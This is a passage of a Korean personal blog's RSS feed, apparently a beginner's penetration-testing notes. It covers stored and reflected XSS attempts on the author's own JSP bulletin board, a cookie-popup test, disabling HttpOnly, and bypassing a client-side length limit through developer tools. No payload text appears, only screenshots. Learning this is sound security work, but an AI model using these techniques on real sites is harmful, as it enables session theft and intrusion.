&lt;p data-ke-size=&quot;size14&quot;&gt;출처 : &lt;a href=&quot;https://velog.io/@k4minseung/DB-SQL-Injection-%EA%B3%B5%EA%B2%A9%EA%B3%BC-%EB%B0%A9%EC%96%B4-%EB%B0%A9%EB%B2%95&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://velog.io/@k4minseung/DB-SQL-Injection-%EA%B3%B5%EA%B2%A9%EA%B3%BC-%EB%B0%A9%EC%96%B4-%EB%B0%A9%EB%B2%95&lt;/a&gt;&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/3</guid>
      <comments>https://songtoy.tistory.com/3#entry3comment</comments>
      <pubDate>Sat, 10 May 2025 21:50:51 +0900</pubDate>
    </item>
    <item>
      <title>XSS 2</title>
      <link>https://songtoy.tistory.com/2</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;709&quot; data-origin-height=&quot;87&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzT3jx/btsNLuFvR1z/oVL189kKs83vN6xLSM4wLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzT3jx/btsNLuFvR1z/oVL189kKs83vN6xLSM4wLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzT3jx/btsNLuFvR1z/oVL189kKs83vN6xLSM4wLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzT3jx%2FbtsNLuFvR1z%2FoVL189kKs83vN6xLSM4wLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;709&quot; height=&quot;87&quot; data-origin-width=&quot;709&quot; data-origin-height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파라미터 값 들어가는데에 스크립트 구문 넣어봤당&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;591&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckDws6/btsNKhUELBO/mtPmPygIx88HDFXPMqWG1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckDws6/btsNKhUELBO/mtPmPygIx88HDFXPMqWG1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckDws6/btsNKhUELBO/mtPmPygIx88HDFXPMqWG1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckDws6%2FbtsNKhUELBO%2FmtPmPygIx88HDFXPMqWG1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1026&quot; height=&quot;591&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;591&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오류 발생,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bbsID= 뒤는 다 id로 인식해버리는듯??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6GJmg/btsNLBYS5LO/2wkY5fSs8h3kNNbRvEGkek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6GJmg/btsNLBYS5LO/2wkY5fSs8h3kNNbRvEGkek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6GJmg/btsNLBYS5LO/2wkY5fSs8h3kNNbRvEGkek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6GJmg%2FbtsNLBYS5LO%2F2wkY5fSs8h3kNNbRvEGkek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1289&quot; height=&quot;499&quot; data-origin-width=&quot;1289&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거 하면 팝업창으로 쿠키정보가 떠야하는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z8XQz/btsNJ3oQgRN/kyJ709fkB2n9Om5lGeBy40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z8XQz/btsNJ3oQgRN/kyJ709fkB2n9Om5lGeBy40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z8XQz/btsNJ3oQgRN/kyJ709fkB2n9Om5lGeBy40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz8XQz%2FbtsNJ3oQgRN%2FkyJ709fkB2n9Om5lGeBy40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;680&quot; height=&quot;222&quot; data-origin-width=&quot;680&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무것도 안뜬당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmTgg9/btsNKfbvCxx/Yy4bXO9LiwqUZ3uXQDYPKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmTgg9/btsNKfbvCxx/Yy4bXO9LiwqUZ3uXQDYPKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmTgg9/btsNKfbvCxx/Yy4bXO9LiwqUZ3uXQDYPKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmTgg9%2FbtsNKfbvCxx%2FYy4bXO9LiwqUZ3uXQDYPKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1391&quot; height=&quot;277&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 HttpOnly를 체크 해제하면 된다고해서 해제하고 새로고침해봤는데 여전히 안됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 경우에는 XST를 시도해볼수있다는데 PUTTY를 통해서 통신을 접속해야된다그래서,, 안할래요&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/2</guid>
      <comments>https://songtoy.tistory.com/2#entry2comment</comments>
      <pubDate>Tue, 6 May 2025 23:46:43 +0900</pubDate>
    </item>
    <item>
      <title>XSS</title>
      <link>https://songtoy.tistory.com/1</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;동빈나님 유튜브 보고 만든 JSP 웹사이트를 이용해서 XSS를 시도해봤다!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1255&quot; data-origin-height=&quot;829&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eaUlbF/btsNLoSxGUv/K6QjJkRbEoQYoGxa5W8xP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eaUlbF/btsNLoSxGUv/K6QjJkRbEoQYoGxa5W8xP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eaUlbF/btsNLoSxGUv/K6QjJkRbEoQYoGxa5W8xP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeaUlbF%2FbtsNLoSxGUv%2FK6QjJkRbEoQYoGxa5W8xP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1255&quot; height=&quot;829&quot; data-origin-width=&quot;1255&quot; data-origin-height=&quot;829&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 발생 조건 중에 하나는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력창(URL)이 있어야 된다는 거!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(나머지 하나는 저장 가능한 곳이 있어야 한다는 것)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1268&quot; data-origin-height=&quot;984&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TSdo4/btsNJEWFld8/e3LzVRv9djSxYXR4SKHD50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TSdo4/btsNJEWFld8/e3LzVRv9djSxYXR4SKHD50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TSdo4/btsNJEWFld8/e3LzVRv9djSxYXR4SKHD50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTSdo4%2FbtsNJEWFld8%2Fe3LzVRv9djSxYXR4SKHD50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1268&quot; height=&quot;984&quot; data-origin-width=&quot;1268&quot; data-origin-height=&quot;984&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목에 요런 구문을 넣어서 글쓰기를 눌렀더니&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WCxr2/btsNJHy7E5I/yA5Qu1i29bXk2rkcMSQiI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WCxr2/btsNJHy7E5I/yA5Qu1i29bXk2rkcMSQiI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WCxr2/btsNJHy7E5I/yA5Qu1i29bXk2rkcMSQiI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWCxr2%2FbtsNJHy7E5I%2FyA5Qu1i29bXk2rkcMSQiI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1224&quot; height=&quot;336&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적(?)으로 창이 출력된당&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;270&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bl0rFs/btsNKoFyDre/ax3gH5ppsfyUpxN7JJ2nC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bl0rFs/btsNKoFyDre/ax3gH5ppsfyUpxN7JJ2nC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bl0rFs/btsNKoFyDre/ax3gH5ppsfyUpxN7JJ2nC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbl0rFs%2FbtsNKoFyDre%2Fax3gH5ppsfyUpxN7JJ2nC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1269&quot; height=&quot;270&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;270&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목에는 아무것도 안나옴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;962&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dGSmvT/btsNKeJT8B8/l8dFQv7dWRI5aNoS3esH9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dGSmvT/btsNKeJT8B8/l8dFQv7dWRI5aNoS3esH9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dGSmvT/btsNKeJT8B8/l8dFQv7dWRI5aNoS3esH9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdGSmvT%2FbtsNKeJT8B8%2Fl8dFQv7dWRI5aNoS3esH9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1266&quot; height=&quot;962&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;962&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본문에도 해봤음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cserB3/btsNJ3PtwLJ/GnlK1DGv4vtXsnP9JJPkUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cserB3/btsNJ3PtwLJ/GnlK1DGv4vtXsnP9JJPkUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cserB3/btsNJ3PtwLJ/GnlK1DGv4vtXsnP9JJPkUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcserB3%2FbtsNJ3PtwLJ%2FGnlK1DGv4vtXsnP9JJPkUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;702&quot; height=&quot;244&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그랬는데 똑같이 xss 알림창이 뜸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목에 박아놔서 게시판 들어갈때마다 알림뜨나봄&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(자꾸 창뜨니까 귀찮아서 SQL로 삭제함)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;824&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/damJNi/btsNLDhBgWg/VWsr4a9G8JfkfKV337xy61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/damJNi/btsNLDhBgWg/VWsr4a9G8JfkfKV337xy61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/damJNi/btsNLDhBgWg/VWsr4a9G8JfkfKV337xy61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdamJNi%2FbtsNLDhBgWg%2FVWsr4a9G8JfkfKV337xy61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1258&quot; height=&quot;824&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;824&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본문에는 적용이 안되나보다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6bLwt/btsNKsHWREM/vAdsB028625TKlnbJd1j31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6bLwt/btsNKsHWREM/vAdsB028625TKlnbJd1j31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6bLwt/btsNKsHWREM/vAdsB028625TKlnbJd1j31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6bLwt%2FbtsNKsHWREM%2FvAdsB028625TKlnbJd1j31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1690&quot; height=&quot;146&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 엔티티로 치환해서 얘가 인식을 못하는건가??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;467&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HOGp9/btsNKh0Yb9O/g0l1b3OKe2awEWVx9W1OpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HOGp9/btsNKh0Yb9O/g0l1b3OKe2awEWVx9W1OpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HOGp9/btsNKh0Yb9O/g0l1b3OKe2awEWVx9W1OpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHOGp9%2FbtsNKh0Yb9O%2Fg0l1b3OKe2awEWVx9W1OpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1269&quot; height=&quot;467&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것도 암것두 안된당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;606&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SfFK7/btsNKqcekP1/jk2r5gthiBKRBO3v5OTNs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SfFK7/btsNKqcekP1/jk2r5gthiBKRBO3v5OTNs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SfFK7/btsNKqcekP1/jk2r5gthiBKRBO3v5OTNs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSfFK7%2FbtsNKqcekP1%2Fjk2r5gthiBKRBO3v5OTNs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1269&quot; height=&quot;606&quot; data-origin-width=&quot;1269&quot; data-origin-height=&quot;606&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기도 입력해보려고 했더니 글자수 제한 때문에 입력이 안된당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럴땐 ctrl+shift+i 를 눌러서 개발자 도구를 연다!!!!!!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1201&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B6O1t/btsNKbfoqzJ/8kcoOW0DfHhiG4RU6dMw0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B6O1t/btsNKbfoqzJ/8kcoOW0DfHhiG4RU6dMw0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B6O1t/btsNKbfoqzJ/8kcoOW0DfHhiG4RU6dMw0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB6O1t%2FbtsNKbfoqzJ%2F8kcoOW0DfHhiG4RU6dMw0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1201&quot; height=&quot;676&quot; data-origin-width=&quot;1201&quot; data-origin-height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EOVM8/btsNJt8WUVk/9mK7XeOItznH9OChGZByUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EOVM8/btsNJt8WUVk/9mK7XeOItznH9OChGZByUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EOVM8/btsNJt8WUVk/9mK7XeOItznH9OChGZByUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEOVM8%2FbtsNJt8WUVk%2F9mK7XeOItznH9OChGZByUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;707&quot; height=&quot;420&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;420&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무 폴더나 지정하시구여&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;385&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Can5c/btsNKgnsYEG/8jkI0qJ5YoiBMWfzjc154k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Can5c/btsNKgnsYEG/8jkI0qJ5YoiBMWfzjc154k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Can5c/btsNKgnsYEG/8jkI0qJ5YoiBMWfzjc154k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCan5c%2FbtsNKgnsYEG%2F8jkI0qJ5YoiBMWfzjc154k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1240&quot; height=&quot;385&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;385&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허용 누르면 ~~~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 수정이 된답니당&lt;/p&gt;
